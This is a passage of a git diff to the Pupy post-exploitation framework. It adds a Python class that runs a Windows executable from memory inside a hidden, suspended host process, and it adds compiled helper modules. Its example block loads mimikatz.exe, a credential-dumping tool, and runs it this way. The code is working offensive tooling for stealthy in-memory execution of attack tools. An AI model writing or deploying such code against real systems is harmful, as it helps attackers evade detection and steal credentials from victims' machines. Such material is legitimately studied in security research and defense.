buffer.value + +class MemoryPE(object): + """ run a pe from memory. The program output is displayed on program exit. You can set a timeout or raise KeyboardInterrupt to kill the program. If a timeout is set it will kill the program when it reaches the delay """ + def __init__(self, raw_pe, args=[], suspended_process="cmd.exe", redirect_stdio=True, hidden=True): + self.cmdline=suspended_process + if args: + self.cmdline+=" "+" ".join(args) + self.raw_pe=raw_pe + self.suspended_process=suspended_process + self.redirect_stdio=redirect_stdio + self.hidden=hidden + self.hProcess=None + self.rpStdout=None + def close(self): + #Killing the program if he is still alive + ctypes.windll.kernel32.TerminateProcess(self.hProcess, 1); + ctypes.windll.kernel32.CloseHandle(self.hProcess) + + def wait(self, timeout=None): + """ return False if the timeout occured""" + if self.hProcess is None: + return True + starttime=time.time() + while True: + try: + res=ctypes.windll.kernel32.WaitForSingleObject(self.hProcess, DWORD(1))# not INFINITE to be able to interrupt it ! + if res!=WAIT_TIMEOUT: + break + if timeout is not None and time.time()-starttime>timeout: + return False + except KeyboardInterrupt: + break + return True + + def get_stdout(self): + if not self.hProcess: + return "" + #Closing the write handle to avoid lock: + ctypes.windll.kernel32.CloseHandle(self.rpStdout) + fulldata=b"" + while True: + data=ReadFile(self.pStdout, 2048) + if not data: + break + fulldata+=data + return fulldata + + def run(self): + hProcess, pStdin, pStdout, rpStdin, rpStdout = pupymemexec.run_pe_from_memory(self.cmdline, self.raw_pe, self.redirect_stdio, self.hidden) + self.pStdout=pStdout + self.pStdin=pStdin + self.rpStdout=rpStdout + self.rpStdin=rpStdin + self.hProcess=hProcess + + + +if __name__=="__main__": + with open("mimikatz.exe",'rb') as f: + mpe=MemoryPE(f.read()) + mpe.run() + mpe.wait(5) + mpe.close() + print mpe.get_stdout() + raw_input() diff --git a/pupy/packages/windows/amd64/pupymemexec.pyd b/pupy/packages/windows/amd64/pupymemexec.pyd new file mode 100755 index 00000000..26d643a7 Binary files /dev/null and b/pupy/packages/windows/amd64/pupymemexec.pyd differ diff --git a/pupy/packages/windows/x86/pupymemexec.pyd b/pupy/packages/windows/x86/pupymemexec.pyd new file mode 100755 index 00000000..2464c369 Binary files /dev/null and b/pupy/packages/windows/x86/pupymemexec.pyd differ